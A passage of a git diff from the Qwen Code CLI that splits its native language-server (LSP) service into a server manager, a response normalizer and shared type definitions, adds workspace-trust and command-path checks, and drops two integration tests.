+ const name = + typeof nameValue === 'string' ? nameValue : String(nameValue ?? ''); + const uri = itemObj['uri']; + + if (!name || typeof uri !== 'string') { + return null; + } + + const range = this.normalizeRange(itemObj['range']); + const selectionRange = + this.normalizeRange(itemObj['selectionRange']) ?? range; + + if (!range || !selectionRange) { + return null; + } + + const serverOverride = + typeof itemObj['serverName'] === 'string' + ? (itemObj['serverName'] as string) + : undefined; + + // Preserve raw numeric kind for server communication + let rawKind: number | undefined; + if (typeof itemObj['rawKind'] === 'number') { + rawKind = itemObj['rawKind']; + } else if (typeof itemObj['kind'] === 'number') { + rawKind = itemObj['kind']; + } else if (typeof itemObj['kind'] === 'string') { + const parsed = Number(itemObj['kind']); + if (Number.isFinite(parsed)) { + rawKind = parsed; + } + } + + return { + name, + kind: this.normalizeSymbolKind(itemObj['kind']), + rawKind, + detail: + typeof itemObj['detail'] === 'string' + ? (itemObj['detail'] as string) + : undefined, + uri, + range, + selectionRange, + data: itemObj['data'], + serverName: serverOverride ?? serverName, + }; + } + + /** + * Normalize incoming call + */ + normalizeIncomingCall( + item: unknown, + serverName: string, + ): LspCallHierarchyIncomingCall | null { + if (!item || typeof item !== 'object') { + return null; + } + const itemObj = item as Record; + const from = this.normalizeCallHierarchyItem(itemObj['from'], serverName); + if (!from) { + return null; + } + return { + from, + fromRanges: this.normalizeRanges(itemObj['fromRanges']), + }; + } + + /** + * Normalize outgoing call + */ + normalizeOutgoingCall( + item: unknown, + serverName: string, + ): LspCallHierarchyOutgoingCall | null { + if (!item || typeof item !== 'object') { + return null; + } + const itemObj = item as Record; + const to = this.normalizeCallHierarchyItem(itemObj['to'], serverName); + if (!to) { + return null; + } + return { + to, + fromRanges: this.normalizeRanges(itemObj['fromRanges']), + }; + } + + /** + * Convert call hierarchy item back to LSP params format + */ + toCallHierarchyItemParams( + item: LspCallHierarchyItem, + ): Record { + // Use rawKind (numeric) for server communication + let numericKind: number | undefined = item.rawKind; + if (numericKind === undefined && item.kind !== undefined) { + const parsed = Number(item.kind); + if (Number.isFinite(parsed)) { + numericKind = parsed; + } + } + + return { + name: item.name, + kind: numericKind, + detail: item.detail, + uri: item.uri, + range: item.range, + selectionRange: item.selectionRange, + data: item.data, + }; + } + + // ============================================================================ + // Document Symbol Helpers + // ============================================================================ + + /** + * Check if item is a DocumentSymbol (has range and selectionRange) + */ + isDocumentSymbol(item: Record): boolean { + const range = item['range']; + const selectionRange = item['selectionRange']; + return ( + typeof range === 'object' && + range !== null && + typeof selectionRange === 'object' && + selectionRange !== null + ); + } + + /** + * Recursively collect document symbols from a tree structure + */ + collectDocumentSymbol( + item: Record, + uri: string, + serverName: string, + results: LspSymbolInformation[], + limit: number, + containerName?: string, + ): void { + if (results.length >= limit) { + return; + } + + const nameValue = item['name'] ?? item['label'] ?? 'symbol'; + const name = typeof nameValue === 'string' ? nameValue : String(nameValue); + const selectionRange = + this.normalizeRange(item['selectionRange']) ?? + this.normalizeRange(item['range']); + + if (!selectionRange) { + return; + } + + results.push({ + name, + kind: this.normalizeSymbolKind(item['kind']), + containerName, + location: { + uri, + range: selectionRange, + }, + serverName, + }); + + if (results.length >= limit) { + return; + } + + const children = item['children']; + if (Array.isArray(children)) { + for (const child of children) { + if (results.length >= limit) { + break; + } + if (child && typeof child === 'object') { + this.collectDocumentSymbol( + child as Record, + uri, + serverName, + results, + limit, + name, + ); + } + } + } + } +} diff --git a/packages/cli/src/services/lsp/LspServerManager.ts b/packages/cli/src/services/lsp/LspServerManager.ts new file mode 100644 index 000000000..af2e9a4f6 --- /dev/null +++ b/packages/cli/src/services/lsp/LspServerManager.ts @@ -0,0 +1,713 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +import type { + Config as CoreConfig, + WorkspaceContext, + FileDiscoveryService, +} from '@qwen-code/qwen-code-core'; +import { spawn, type ChildProcess } from 'node:child_process'; +import * as fs from 'node:fs'; +import * as path from 'path'; +import { pathToFileURL } from 'url'; +import { globSync } from 'glob'; +import { LspConnectionFactory } from './LspConnectionFactory.js'; +import { + DEFAULT_LSP_COMMAND_CHECK_TIMEOUT_MS, + DEFAULT_LSP_MAX_RESTARTS, + DEFAULT_LSP_SOCKET_MAX_RETRY_DELAY_MS, + DEFAULT_LSP_SOCKET_RETRY_DELAY_MS, + DEFAULT_LSP_STARTUP_TIMEOUT_MS, + DEFAULT_LSP_WARMUP_DELAY_MS, +} from './constants.js'; +import type { + LspConnectionResult, + LspServerConfig, + LspServerHandle, + LspServerStatus, + LspSocketOptions, +} from './LspTypes.js'; + +export interface LspServerManagerOptions { + requireTrustedWorkspace: boolean; + workspaceRoot: string; +} + +export class LspServerManager { + private serverHandles: Map = new Map(); + private requireTrustedWorkspace: boolean; + private workspaceRoot: string; + + constructor( + private readonly config: CoreConfig, + private readonly workspaceContext: WorkspaceContext, + private readonly fileDiscoveryService: FileDiscoveryService, + options: LspServerManagerOptions, + ) { + this.requireTrustedWorkspace = options.requireTrustedWorkspace; + this.workspaceRoot = options.workspaceRoot; + } + + setServerConfigs(configs: LspServerConfig[]): void { + this.serverHandles.clear(); + for (const config of configs) { + this.serverHandles.set(config.name, { + config, + status: 'NOT_STARTED', + }); + } + } + + clearServerHandles(): void { + this.serverHandles.clear(); + } + + getHandles(): ReadonlyMap { + return this.serverHandles; + } + + getStatus(): Map { + const statusMap = new Map(); + for (const [name, handle] of Array.from(this.serverHandles)) { + statusMap.set(name, handle.status); + } + return statusMap; + } + + async startAll(): Promise { + for (const [name, handle] of Array.from(this.serverHandles)) { + await this.startServer(name, handle); + } + } + + async stopAll(): Promise { + for (const [name, handle] of Array.from(this.serverHandles)) { + await this.stopServer(name, handle); + } + this.serverHandles.clear(); + } + + /** + * Ensure tsserver has at least one file open so navto/navtree requests succeed. + * Sets warmedUp flag only after successful warm-up to allow retry on failure. + */ + async warmupTypescriptServer( + handle: LspServerHandle, + force = false, + ): Promise { + if (!handle.connection || !this.isTypescriptServer(handle)) { + return; + } + if (handle.warmedUp && !force) { + return; + } + const tsFile = this.findFirstTypescriptFile(); + if (!tsFile) { + return; + } + + const uri = pathToFileURL(tsFile).toString(); + const languageId = tsFile.endsWith('.tsx') + ? 'typescriptreact' + : tsFile.endsWith('.jsx') + ? 'javascriptreact' + : tsFile.endsWith('.js') + ? 'javascript' + : 'typescript'; + try { + const text = fs.readFileSync(tsFile, 'utf-8'); + handle.connection.send({ + jsonrpc: '2.0', + method: 'textDocument/didOpen', + params: { + textDocument: { + uri, + languageId, + version: 1, + text, + }, + }, + }); + // Give tsserver a moment to build the project. + await new Promise((resolve) => + setTimeout(resolve, DEFAULT_LSP_WARMUP_DELAY_MS), + ); + // Only mark as warmed up after successful completion + handle.warmedUp = true; + } catch (error) { + // Do not set warmedUp to true on failure, allowing retry + console.warn('TypeScript server warm-up failed:', error); + } + } + + private isTypescriptServer(handle: LspServerHandle): boolean { + return ( + handle.config.name.includes('typescript') || + (handle.config.command?.includes('typescript') ?? false) + ); + } + + /** + * Start individual LSP server with lock to prevent concurrent startup attempts. + * + * @param name - The name of the LSP server + * @param handle - The LSP server handle + */ + private async startServer( + name: string, + handle: LspServerHandle, + ): Promise { + // If already starting, wait for the existing promise + if (handle.startingPromise) { + return handle.startingPromise; + } + + if (handle.status === 'IN_PROGRESS' || handle.status === 'READY') { + return; + } + handle.stopRequested = false; + + // Create a promise to lock concurrent calls + handle.startingPromise = this.doStartServer(name, handle).finally(() => { + handle.startingPromise = undefined; + }); + + return handle.startingPromise; + } + + /** + * Internal method that performs the actual server startup. + * + * @param name - The name of the LSP server + * @param handle - The LSP server handle + */ + private async doStartServer( + name: string, + handle: LspServerHandle, + ): Promise { + const workspaceTrusted = this.config.isTrustedFolder(); + if ( + (this.requireTrustedWorkspace || handle.config.trustRequired) && + !workspaceTrusted + ) { + console.log( + `LSP server ${name} requires trusted workspace, skipping startup`, + ); + handle.status = 'FAILED'; + return; + } + + // Request user confirmation + const consent = await this.requestUserConsent( + name, + handle.config, + workspaceTrusted, + ); + if (!consent) { + console.log(`User declined to start LSP server ${name}`); + handle.status = 'FAILED'; + return; + } + + // Check if command exists + if (handle.config.command) { + const commandCwd = handle.config.workspaceFolder ?? this.workspaceRoot; + if ( + !(await this.commandExists( + handle.config.command, + handle.config.env, + commandCwd, + )) + ) { + console.warn( + `LSP server ${name} command not found: ${handle.config.command}`, + ); + handle.status = 'FAILED'; + return; + } + + // Check path safety + if ( + !this.isPathSafe(handle.config.command, this.workspaceRoot, commandCwd) + ) { + console.warn( + `LSP server ${name} command path is unsafe: ${handle.config.command}`, + ); + handle.status = 'FAILED'; + return; + } + } + + try { + handle.error = undefined; + handle.warmedUp = false; + handle.status = 'IN_PROGRESS'; + + // Create LSP connection + const connection = await this.createLspConnection(handle.config); + handle.connection = connection.connection; + handle.process = connection.process; + + // Initialize LSP server + await this.initializeLspServer(connection, handle.config); + + handle.status = 'READY'; + this.attachRestartHandler(name, handle); + console.log(`LSP server ${name} started successfully`); + } catch (error) { + handle.status = 'FAILED'; + handle.error = error as Error; + console.error(`LSP server ${name} failed to start:`, error); + } + } + + /** + * Stop individual LSP server + */ + private async stopServer( + name: string, + handle: LspServerHandle, + ): Promise { + handle.stopRequested = true; + + if (handle.connection) { + try { + await this.shutdownConnection(handle); + } catch (error) { + console.error(`Error closing LSP server ${name}:`, error); + } + } else if (handle.process && handle.process.exitCode === null) { + handle.process.kill(); + } + handle.connection = undefined; + handle.process = undefined; + handle.status = 'NOT_STARTED'; + handle.warmedUp = false; + handle.restartAttempts = 0; + } + + private async shutdownConnection(handle: LspServerHandle): Promise { + if (!handle.connection) { + return; + } + try { + const shutdownPromise = handle.connection.shutdown(); + if (typeof handle.config.shutdownTimeout === 'number') { + await Promise.race([ + shutdownPromise, + new Promise((resolve) => + setTimeout(resolve, handle.config.shutdownTimeout), + ), + ]); + } else { + await shutdownPromise; + } + } finally { + handle.connection.end(); + } + } + + private attachRestartHandler(name: string, handle: LspServerHandle): void { + if (!handle.process) { + return; + } + handle.process.once('exit', (code) => { + if (handle.stopRequested) { + return; + } + if (!handle.config.restartOnCrash) { + handle.status = 'FAILED'; + return; + } + const maxRestarts = handle.config.maxRestarts ?? DEFAULT_LSP_MAX_RESTARTS; + if (maxRestarts <= 0) { + handle.status = 'FAILED'; + return; + } + const attempts = handle.restartAttempts ?? 0; + if (attempts >= maxRestarts) { + console.warn( + `LSP server ${name} reached max restart attempts (${maxRestarts}), stopping restarts`, + ); + handle.status = 'FAILED'; + return; + } + handle.restartAttempts = attempts + 1; + console.warn( + `LSP server ${name} exited (code ${code ?? 'unknown'}), restarting (${handle.restartAttempts}/${maxRestarts})`, + ); + this.resetHandle(handle); + void this.startServer(name, handle); + }); + } + + private resetHandle(handle: LspServerHandle): void { + if (handle.connection) { + handle.connection.end(); + } + if (handle.process && handle.process.exitCode === null) { + handle.process.kill(); + } + handle.connection = undefined; + handle.process = undefined; + handle.status = 'NOT_STARTED'; + handle.error = undefined; + handle.warmedUp = false; + handle.stopRequested = false; + } + + private buildProcessEnv( + env: Record | undefined, + ): NodeJS.ProcessEnv | undefined { + if (!env || Object.keys(env).length === 0) { + return undefined; + } + return { ...process.env, ...env }; + } + + private async connectSocketWithRetry( + socket: LspSocketOptions, + timeoutMs: number, + ): Promise< + Awaited> + > { + const deadline = Date.now() + timeoutMs; + let attempt = 0; + while (true) { + const remaining = deadline - Date.now(); + if (remaining <= 0) { + throw new Error('LSP server connection timeout'); + } + try { + return await LspConnectionFactory.createSocketConnection( + socket, + remaining, + ); + } catch (error) { + attempt += 1; + if (Date.now() >= deadline) { + throw error; + } + const delay = Math.min( + DEFAULT_LSP_SOCKET_RETRY_DELAY_MS * attempt, + DEFAULT_LSP_SOCKET_MAX_RETRY_DELAY_MS, + ); + await new Promise((resolve) => setTimeout(resolve, delay)); + } + } + } + + /** + * Create LSP connection + */ + private async createLspConnection( + config: LspServerConfig, + ): Promise { + const workspaceFolder = config.workspaceFolder ?? this.workspaceRoot; + const startupTimeout = + config.startupTimeout ?? DEFAULT_LSP_STARTUP_TIMEOUT_MS; + const env = this.buildProcessEnv(config.env); + + if (config.transport === 'stdio') { + if (!config.command) { + throw new Error('LSP stdio transport requires a command'); + } + + // Fix: use cwd as cwd instead of rootUri + const lspConnection = await LspConnectionFactory.createStdioConnection( + config.command, + config.args ?? [], + { cwd: workspaceFolder, env }, + startupTimeout, + ); + + return { + connection: lspConnection.connection, + process: lspConnection.process as ChildProcess, + shutdown: async () => { + await lspConnection.connection.shutdown(); + }, + exit: () => { + if (lspConnection.process && !lspConnection.process.killed) { + (lspConnection.process as ChildProcess).kill(); + } + lspConnection.connection.end(); + }, + initialize: async (params: unknown) => + lspConnection.connection.initialize(params), + }; + } else if (config.transport === 'tcp' || config.transport === 'socket') { + if (!config.socket) { + throw new Error('LSP socket transport requires host/port or path'); + } + + let process: ChildProcess | undefined; + if (config.command) { + process = spawn(config.command, config.args ?? [], { + cwd: workspaceFolder, + env, + stdio: 'ignore', + }); + await new Promise((resolve, reject) => { + process?.once('spawn', () => resolve()); + process?.once('error', (error) => { + reject(new Error(`Failed to spawn LSP server: ${error.message}`)); + }); + }); + } + + try { + const lspConnection = await this.connectSocketWithRetry( + config.socket, + startupTimeout, + ); + + return { + connection: lspConnection.connection, + process, + shutdown: async () => { + await lspConnection.connection.shutdown(); + }, + exit: () => { + lspConnection.connection.end(); + }, + initialize: async (params: unknown) => + lspConnection.connection.initialize(params), + }; + } catch (error) { + if (process && process.exitCode === null) { + process.kill(); + } + throw error; + } + } else { + throw new Error(`Unsupported transport: ${config.transport}`); + } + } + + /** + * Initialize LSP server + */ + private async initializeLspServer( + connection: LspConnectionResult, + config: LspServerConfig, + ): Promise { + const workspaceFolderPath = config.workspaceFolder ?? this.workspaceRoot; + const workspaceFolder = { + name: path.basename(workspaceFolderPath) || workspaceFolderPath, + uri: config.rootUri, + }; + + const initializeParams = { + processId: process.pid, + rootUri: config.rootUri, + rootPath: workspaceFolderPath, + workspaceFolders: [workspaceFolder], + capabilities: { + textDocument: { + completion: { dynamicRegistration: true }, + hover: { dynamicRegistration: true }, + definition: { dynamicRegistration: true }, + references: { dynamicRegistration: true }, + documentSymbol: { dynamicRegistration: true }, + codeAction: { dynamicRegistration: true }, + }, + workspace: { + workspaceFolders: { supported: true }, + }, + }, + initializationOptions: config.initializationOptions, + }; + + await connection.initialize(initializeParams); + + // Send initialized notification and workspace folders change to help servers (e.g. tsserver) + // create projects in the correct workspace. + connection.connection.send({ + jsonrpc: '2.0', + method: 'initialized', + params: {}, + }); + connection.connection.send({ + jsonrpc: '2.0', + method: 'workspace/didChangeWorkspaceFolders', + params: { + event: { + added: [workspaceFolder], + removed: [], + }, + }, + }); + + if (config.settings && Object.keys(config.settings).length > 0) { + connection.connection.send({ + jsonrpc: '2.0', + method: 'workspace/didChangeConfiguration', + params: { + settings: config.settings, + }, + }); + } + + // Warm up TypeScript server by opening a workspace file so it can create a project. + if ( + config.name.includes('typescript') || + (config.command?.includes('typescript') ?? false) + ) { + try { + const tsFile = this.findFirstTypescriptFile(); + if (tsFile) { + const uri = pathToFileURL(tsFile).toString(); + const languageId = tsFile.endsWith('.tsx') + ? 'typescriptreact' + : 'typescript'; + const text = fs.readFileSync(tsFile, 'utf-8'); + connection.connection.send({ + jsonrpc: '2.0', + method: 'textDocument/didOpen', + params: { + textDocument: { + uri, + languageId, + version: 1, + text, + }, + }, + }); + } + } catch (error) { + console.warn('TypeScript LSP warm-up failed:', error); + } + } + } + + /** + * Check if command exists + */ + private async commandExists( + command: string, + env?: Record, + cwd?: string, + ): Promise { + return new Promise((resolve) => { + let settled = false; + const child = spawn(command, ['--version'], { + stdio: ['ignore', 'ignore', 'ignore'], + cwd: cwd ?? this.workspaceRoot, + env: this.buildProcessEnv(env), + }); + + child.on('error', () => { + settled = true; + resolve(false); + }); + + child.on('exit', (code) => { + if (settled) { + return; + } + // If command exists, it typically returns 0 or other non-error codes + // Some commands with --version may return non-0, but won't throw error + resolve(code !== 127); // 127 typically indicates command not found + }); + + // Set timeout to avoid long waits + setTimeout(() => { + settled = true; + child.kill(); + resolve(false); + }, DEFAULT_LSP_COMMAND_CHECK_TIMEOUT_MS); + }); + } + + /** + * Check path safety + */ + private isPathSafe( + command: string, + workspacePath: string, + cwd?: string, + ): boolean { + // Allow commands without path separators (global PATH commands like 'typescript-language-server') + // These are resolved by the shell from PATH and are generally safe + if (!command.includes(path.sep) && !command.includes('/')) { + return true; + } + + // For explicit paths (absolute or relative), verify they're within workspace + const resolvedWorkspacePath = path.resolve(workspacePath); + const basePath = cwd ? path.resolve(cwd) : resolvedWorkspacePath; + const resolvedPath = path.isAbsolute(command) + ? path.resolve(command) + : path.resolve(basePath, command); + + return ( + resolvedPath.startsWith(resolvedWorkspacePath + path.sep) || + resolvedPath === resolvedWorkspacePath + ); + } + + /** + * 请求用户确认启动 LSP 服务器 + */ + private async requestUserConsent( + serverName: string, + serverConfig: LspServerConfig, + workspaceTrusted: boolean, + ): Promise { + if (workspaceTrusted) { + return true; // Auto-allow in trusted workspace + } + + if (this.requireTrustedWorkspace || serverConfig.trustRequired) { + console.log( + `Workspace not trusted, skipping LSP server ${serverName} (${serverConfig.command ?? serverConfig.transport})`, + ); + return false; + } + + console.log( + `Untrusted workspace, but LSP server ${serverName} has trustRequired=false, attempting cautious startup`, + ); + return true; + } + + /** + * Find a representative TypeScript/JavaScript file to warm up tsserver. + */ + private findFirstTypescriptFile(): string | undefined { + const patterns = ['**/*.ts', '**/*.tsx', '**/*.js', '**/*.jsx']; + const excludePatterns = [ + '**/node_modules/**', + '**/.git/**', + '**/dist/**', + '**/build/**', + ]; + + for (const root of this.workspaceContext.getDirectories()) { + for (const pattern of patterns) { + try { + const matches = globSync(pattern, { + cwd: root, + ignore: excludePatterns, + absolute: true, + nodir: true, + }); + for (const file of matches) { + if (this.fileDiscoveryService.shouldIgnoreFile(file)) { + continue; + } + return file; + } + } catch (_error) { + // ignore glob errors + } + } + } + + return undefined; + } +} diff --git a/packages/cli/src/services/lsp/LspTypes.ts b/packages/cli/src/services/lsp/LspTypes.ts new file mode 100644 index 000000000..55b89cbef --- /dev/null +++ b/packages/cli/src/services/lsp/LspTypes.ts @@ -0,0 +1,205 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +/** + * LSP Service Type Definitions + * + * Centralized type definitions for the LSP service modules. + */ + +import type { ChildProcess } from 'node:child_process'; + +// ============================================================================ +// LSP Initialization Options +// ============================================================================ + +/** + * LSP server initialization options passed during the initialize request. + */ +export interface LspInitializationOptions { + [key: string]: unknown; +} + +// ============================================================================ +// LSP Socket Options +// ============================================================================ + +/** + * Socket connection options for TCP or Unix socket transport. + */ +export interface LspSocketOptions { + /** Host address for TCP connections */ + host?: string; + /** Port number for TCP connections */ + port?: number; + /** Path for Unix socket connections */ + path?: string; +} + +// ============================================================================ +// LSP Server Configuration +// ============================================================================ + +/** + * Configuration for an LSP server instance. + */ +export interface LspServerConfig { + /** Unique name identifier for the server */ + name: string; + /** List of languages this server handles */ + languages: string[]; + /** Command to start the server (required for stdio transport) */ + command?: string; + /** Command line arguments */ + args?: string[]; + /** Transport type: stdio, tcp, or socket */ + transport: 'stdio' | 'tcp' | 'socket'; + /** Environment variables for the server process */ + env?: Record; + /** LSP initialization options */ + initializationOptions?: LspInitializationOptions; + /** Server-specific settings */ + settings?: Record; + /** Custom file extension to language mappings */ + extensionToLanguage?: Record; + /** Root URI for the workspace */ + rootUri: string; + /** Workspace folder path */ + workspaceFolder?: string; + /** Startup timeout in milliseconds */ + startupTimeout?: number; + /** Shutdown timeout in milliseconds */ + shutdownTimeout?: number; + /** Whether to restart on crash */ + restartOnCrash?: boolean; + /** Maximum number of restart attempts */ + maxRestarts?: number; + /** Whether trusted workspace is required */ + trustRequired?: boolean; + /** Socket connection options */ + socket?: LspSocketOptions; +} + +// ============================================================================ +// LSP JSON-RPC Message +// ============================================================================ + +/** + * JSON-RPC message format for LSP communication. + */ +export interface JsonRpcMessage { + jsonrpc: string; + id?: number | string; + method?: string; + params?: unknown; + result?: unknown; + error?: { + code: number; + message: string; + data?: unknown; + }; +} + +// ============================================================================ +// LSP Connection Interface +// ============================================================================ + +/** + * Interface for LSP JSON-RPC connection. + */ +export interface LspConnectionInterface { + /** Start listening on a readable stream */ + listen: (readable: NodeJS.ReadableStream) => void; + /** Send a message to the server */ + send: (message: JsonRpcMessage) => void; + /** Register a notification handler */ + onNotification: (handler: (notification: JsonRpcMessage) => void) => void; + /** Register a request handler */ + onRequest: (handler: (request: JsonRpcMessage) => Promise) => void; + /** Send a request and wait for response */ + request: (method: string, params: unknown) => Promise; + /** Send initialize request */ + initialize: (params: unknown) => Promise; + /** Send shutdown request */ + shutdown: () => Promise; + /** End the connection */ + end: () => void; +} + +// ============================================================================ +// LSP Server Status +// ============================================================================ + +/** + * Status of an LSP server instance. + */ +export type LspServerStatus = + | 'NOT_STARTED' + | 'IN_PROGRESS' + | 'READY' + | 'FAILED'; + +// ============================================================================ +// LSP Server Handle +// ============================================================================ + +/** + * Handle for managing an LSP server instance. + */ +export interface LspServerHandle { + /** Server configuration */ + config: LspServerConfig; + /** Current status */ + status: LspServerStatus; + /** Active connection to the server */ + connection?: LspConnectionInterface; + /** Server process (for stdio transport) */ + process?: ChildProcess; + /** Error that caused failure */ + error?: Error; + /** Whether TypeScript server has been warmed up */ + warmedUp?: boolean; + /** Whether stop was explicitly requested */ + stopRequested?: boolean; + /** Number of restart attempts */ + restartAttempts?: number; + /** Lock to prevent concurrent startup attempts */ + startingPromise?: Promise; +} + +// ============================================================================ +// LSP Service Options +// ============================================================================ + +/** + * Options for NativeLspService constructor. + */ +export interface NativeLspServiceOptions { + /** Whether to require trusted workspace */ + requireTrustedWorkspace?: boolean; + /** Override workspace root path */ + workspaceRoot?: string; +} + +// ============================================================================ +// LSP Connection Result +// ============================================================================ + +/** + * Result from creating an LSP connection. + */ +export interface LspConnectionResult { + /** The JSON-RPC connection */ + connection: LspConnectionInterface; + /** Server process (for stdio transport) */ + process?: ChildProcess; + /** Shutdown the connection gracefully */ + shutdown: () => Promise; + /** Force exit the connection */ + exit: () => void; + /** Send initialize request */ + initialize: (params: unknown) => Promise; +} diff --git a/packages/cli/src/services/lsp/NativeLspService.integration.test.ts b/packages/cli/src/services/lsp/NativeLspService.integration.test.ts index 0f65e70cb..f9fc6b106 100644 --- a/packages/cli/src/services/lsp/NativeLspService.integration.test.ts +++ b/packages/cli/src/services/lsp/NativeLspService.integration.test.ts @@ -1,6 +1,6 @@ /** * @license - * Copyright 2025 Google LLC + * Copyright 2025 Qwen Team * SPDX-License-Identifier: Apache-2.0 */ @@ -477,52 +477,6 @@ describe('NativeLspService Integration Tests', () => { // The exact server name depends on built-in presets expect(status.size).toBeGreaterThanOrEqual(0); }); - - it('should respect allowed servers list', async () => { - const restrictedService = new NativeLspService( - mockConfig as unknown as CoreConfig, - mockWorkspace as unknown as WorkspaceContext, - eventEmitter, - mockFileDiscovery as unknown as FileDiscoveryService, - mockIdeStore as unknown as IdeContextStore, - { - workspaceRoot: mockWorkspace.rootPath, - allowedServers: ['typescript-language-server'], - }, - ); - - await restrictedService.discoverAndPrepare(); - const status = restrictedService.getStatus(); - - // Only allowed servers should be READY - const readyServers = Array.from(status.entries()) - .filter(([, state]) => state === 'READY') - .map(([name]) => name); - for (const name of readyServers) { - expect(['typescript-language-server']).toContain(name); - } - }); - - it('should respect excluded servers list', async () => { - const restrictedService = new NativeLspService( - mockConfig as unknown as CoreConfig, - mockWorkspace as unknown as WorkspaceContext, - eventEmitter, - mockFileDiscovery as unknown as FileDiscoveryService, - mockIdeStore as unknown as IdeContextStore, - { - workspaceRoot: mockWorkspace.rootPath, - excludedServers: ['pylsp'], - }, - ); - - await restrictedService.discoverAndPrepare(); - const status = restrictedService.getStatus(); - - // pylsp should not be present or should be FAILED - const pylspStatus = status.get('pylsp'); - expect(pylspStatus !== 'READY').toBe(true); - }); }); describe('LSP Operations - Mock Responses', () => { diff --git a/packages/cli/src/services/lsp/NativeLspService.test.ts b/packages/cli/src/services/lsp/NativeLspService.test.ts index 5ee4eff29..553581d29 100644 --- a/packages/cli/src/services/lsp/NativeLspService.test.ts +++ b/packages/cli/src/services/lsp/NativeLspService.test.ts @@ -1,3 +1,9 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + import { NativeLspService } from './NativeLspService.js'; import { EventEmitter } from 'events'; import type { diff --git a/packages/cli/src/services/lsp/NativeLspService.ts b/packages/cli/src/services/lsp/NativeLspService.ts index a19fe49af..306e706a7 100644 --- a/packages/cli/src/services/lsp/NativeLspService.ts +++ b/packages/cli/src/services/lsp/NativeLspService.ts @@ -1,3 +1,9 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + import type { Config as CoreConfig, WorkspaceContext, @@ -8,10 +14,8 @@ import type { LspCallHierarchyOutgoingCall, LspCodeAction, LspCodeActionContext, - LspCodeActionKind, LspDefinition, LspDiagnostic, - LspDiagnosticSeverity, LspFileDiagnostics, LspHoverResult, LspLocation, @@ -22,233 +26,109 @@ import type { LspWorkspaceEdit, } from '@qwen-code/qwen-code-core'; import type { EventEmitter } from 'events'; -import { LspConnectionFactory } from './LspConnectionFactory.js'; +import { LspConfigLoader } from './LspConfigLoader.js'; +import { LspLanguageDetector } from './LspLanguageDetector.js'; +import { LspResponseNormalizer } from './LspResponseNormalizer.js'; +import { LspServerManager } from './LspServerManager.js'; +import type { + LspServerHandle, + LspServerStatus, + NativeLspServiceOptions, +} from './LspTypes.js'; import * as path from 'path'; -import { fileURLToPath, pathToFileURL } from 'url'; -import { spawn, type ChildProcess } from 'node:child_process'; +import { fileURLToPath } from 'url'; import * as fs from 'node:fs'; -import { globSync } from 'glob'; - -// 定义 LSP 初始化选项的类型 -interface LspInitializationOptions { - [key: string]: unknown; -} - -interface LspSocketOptions { - host?: string; - port?: number; - path?: string; -} - -// 定义 LSP 服务器配置类型 -interface LspServerConfig { - name: string; - languages: string[]; - command?: string; - args?: string[]; - transport: 'stdio' | 'tcp' | 'socket'; - env?: Record; - initializationOptions?: LspInitializationOptions; - settings?: Record; - extensionToLanguage?: Record; - rootUri: string; - workspaceFolder?: string; - startupTimeout?: number; - shutdownTimeout?: number; - restartOnCrash?: boolean; - maxRestarts?: number; - trustRequired?: boolean; - socket?: LspSocketOptions; -} - -// 定义 LSP 连接接口 -interface LspConnectionInterface { - listen: (readable: NodeJS.ReadableStream) => void; - send: (message: unknown) => void; - onNotification: (handler: (notification: unknown) => void) => void; - onRequest: (handler: (request: unknown) => Promise) => void; - request: (method: string, params: unknown) => Promise; - initialize: (params: unknown) => Promise; - shutdown: () => Promise; - end: () => void; -} - -// 定义 LSP 服务器状态 -type LspServerStatus = 'NOT_STARTED' | 'IN_PROGRESS' | 'READY' | 'FAILED'; - -// 定义 LSP 服务器句柄 -interface LspServerHandle { - config: LspServerConfig; - status: LspServerStatus; - connection?: LspConnectionInterface; - process?: ChildProcess; - error?: Error; - warmedUp?: boolean; - stopRequested?: boolean; - restartAttempts?: number; -} - -/** - * Symbol kind labels for converting numeric LSP SymbolKind to readable strings. - * Based on the LSP specification: https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/#symbolKind - */ -const SYMBOL_KIND_LABELS: Record = { - 1: 'File', - 2: 'Module', - 3: 'Namespace', - 4: 'Package', - 5: 'Class', - 6: 'Method', - 7: 'Property', - 8: 'Field', - 9: 'Constructor', - 10: 'Enum', - 11: 'Interface', - 12: 'Function', - 13: 'Variable', - 14: 'Constant', - 15: 'String', - 16: 'Number', - 17: 'Boolean', - 18: 'Array', - 19: 'Object', - 20: 'Key', - 21: 'Null', - 22: 'EnumMember', - 23: 'Struct', - 24: 'Event', - 25: 'Operator', - 26: 'TypeParameter', -}; - -/** - * Diagnostic severity labels for converting numeric LSP DiagnosticSeverity to readable strings. - * Based on the LSP specification. - */ -const DIAGNOSTIC_SEVERITY_LABELS: Record = { - 1: 'error', - 2: 'warning', - 3: 'information', - 4: 'hint', -}; - -/** - * Code action kind labels from LSP specification. - */ -const CODE_ACTION_KIND_LABELS: Record = { - '': 'quickfix', - quickfix: 'quickfix', - refactor: 'refactor', - 'refactor.extract': 'refactor.extract', - 'refactor.inline': 'refactor.inline', - 'refactor.rewrite': 'refactor.rewrite', - source: 'source', - 'source.organizeImports': 'source.organizeImports', - 'source.fixAll': 'source.fixAll', -}; - -const DEFAULT_LSP_STARTUP_TIMEOUT_MS = 10000; -const DEFAULT_LSP_MAX_RESTARTS = 3; - -interface NativeLspServiceOptions { - allowedServers?: string[]; - excludedServers?: string[]; - requireTrustedWorkspace?: boolean; - workspaceRoot?: string; - inlineServerConfigs?: Record; -} export class NativeLspService { - private serverHandles: Map = new Map(); private config: CoreConfig; private workspaceContext: WorkspaceContext; private fileDiscoveryService: FileDiscoveryService; - private allowedServers?: string[]; - private excludedServers?: string[]; private requireTrustedWorkspace: boolean; private workspaceRoot: string; - private inlineServerConfigs?: Record; - private warnedLegacyConfig = false; + private configLoader: LspConfigLoader; + private serverManager: LspServerManager; + private languageDetector: LspLanguageDetector; + private normalizer: LspResponseNormalizer; constructor( config: CoreConfig, workspaceContext: WorkspaceContext, - _eventEmitter: EventEmitter, // 未使用，用下划线前缀 + _eventEmitter: EventEmitter, fileDiscoveryService: FileDiscoveryService, - _ideContextStore: IdeContextStore, // 未使用，用下划线前缀 + _ideContextStore: IdeContextStore, options: NativeLspServiceOptions = {}, ) { this.config = config; this.workspaceContext = 